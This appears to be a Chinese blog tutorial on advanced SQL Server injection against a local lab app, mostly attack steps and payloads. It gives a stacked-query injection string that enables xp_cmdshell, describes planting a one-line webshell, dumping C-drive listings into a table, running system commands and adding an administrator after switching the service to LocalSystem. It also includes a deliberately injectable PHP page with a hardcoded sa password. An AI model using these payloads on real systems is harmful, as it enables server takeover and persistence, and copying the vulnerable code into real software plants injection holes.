美文网首页
SQL Server 高级注入

SQL Server 高级注入

作者: CSeroad | 来源:发表于2018-04-04 14:52 被阅读41次

sql  server 数据库可以通过xp_cmdshell组件执行一些系统命令

阻止

可以看到sql  server 数据库在默认这状态下阻止了xp_cmdshell的应用

通过以下命令进行开启:

id=1'; EXEC  sp_configure  'show advanced options', 1; RECONFIGURE  WITH  OVERRIDE;  EXEC sp_configure  'xp_cmdshell', 1; RECONFIGURE  WITH  OVERRIDE ;  -- '

开启xp_cmdshell

虽然没有在页面回显,实际上已经开启xp_cmdshell

附加关闭xp_cmdshell

关闭xp_cmdshell

写入一句话木马

没有报错

查看文件

一句话木马已经写入

进行验证

成功执行命令

遍历C盘

为了确保准确语句是否执行成功,复制connect.php源代码到shell.php

因为需要在URL上执行两条或多条系统命令,需要修改源代码

源代码为

<?php

header("Content-type:text/html; charset=gbk");

$serverName = "127.0.0.1";

$uid="sa";

$pwd="123456";

$connectionInfo = array("UID"=>$uid, "PWD"=>$pwd, "Database"=>"demo");

$conn = sqlsrv_connect($serverName, $connectionInfo);

if($conn == false){

echo "连接失败!";

var_dump(sqlsrv_errors());

exit;

}else{

//echo "链接成功";

$id=$_GET['id'];

$sqls = "select * from users where  id='".$id."'";

echo $sqls."<hr/>";

$sql=explode(';', $sqls);

//var_dump(sqlsrv_errors());

if(empty(sqlsrv_errors())){

$query = sqlsrv_query($conn,$sql[0]);

while($num=sqlsrv_fetch_array($query)){

echo $num['name'];

}

$query = @sqlsrv_query($conn,$sql[1]);

while($num=@sqlsrv_fetch_array($query)){

print_r($num);

}

}else{

$error=sqlsrv_errors();

echo $error[0][2];

}

sqlsrv_close($conn);

}

?>

保存进行访问,创建数据库

dirs数据表

查看数据库,进行调整

插入数据

将C盘遍历插入到数据表中,查看

成功插入

进行读取数据

读出C盘文件

语句为:

id=1'; select top 100 paths  from  dirs;--'

自然可以执行dos命令

读取IP地址

添加管理员

查看当前权限

network权限

不懂该权限时什么意思,查找后为

此权限

在该network权限下是无法添加管理员的,要想添加管理员

需要把当前用户的权限修改为localSystem权限进行运行

重启后再次执行

系统权限

成功修改为system权限

再次添加管理员

成功完成

附图:

相关文章

  • SQL Server 高级注入

    sql server 数据库可以通过xp_cmdshell组件执行一些系统命令 可以看到sql server 数据...

  • sql server注入

    Sql server数据库注入 Sql server数据库是一个非常优秀的数据库,它可以准确地定位错误消息,对开发...

  • sql server 注入

    1判断网站是否是注入点 ① :包含?*=变量名的 URL Integer: www.targ...

  • 跟我一起学NodeJS之安全

    安全 本篇介绍web server (Nodejs)层面上存在的安全问题,并解决 sql注入 sql注入就是我们我...

  • 网络安全-Day24-mssql注入获取webshell

    mssql注入获取webshell 1、SQL Server启用xp_cmdshell组件 1.1、通过SQL语句...

  • SQL Server 注入小结

    本文为原创文章,转载请注明出处! 在实习的渗透测试项目中,遇到的数据库系统绝大部分是SQL Server。也算是了...

  • sql server注入小结

    0x01前言 学校开了xx系统,大半夜改文档格式头大,登上去看下,有越权有注入,不是sa权限,sql server...

  • SQL Sever高级应用

    第七章 SQL Server高级应用 7.1 Transact-SQL程序设计 Transact-SQL语言就是在...

  • 【提权】MSSQL提权之xp_cmdshell

    0x01 前提 getshell或者存在sql注入并且能够执行命令。 sql server是system权限,sq...

  • SQL注入攻击高级

    原文出处: i春秋学院 前言前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级...

网友评论

      本文标题:SQL Server 高级注入

      本文链接:https://www.haomeiwen.com/subject/jppkhftx.html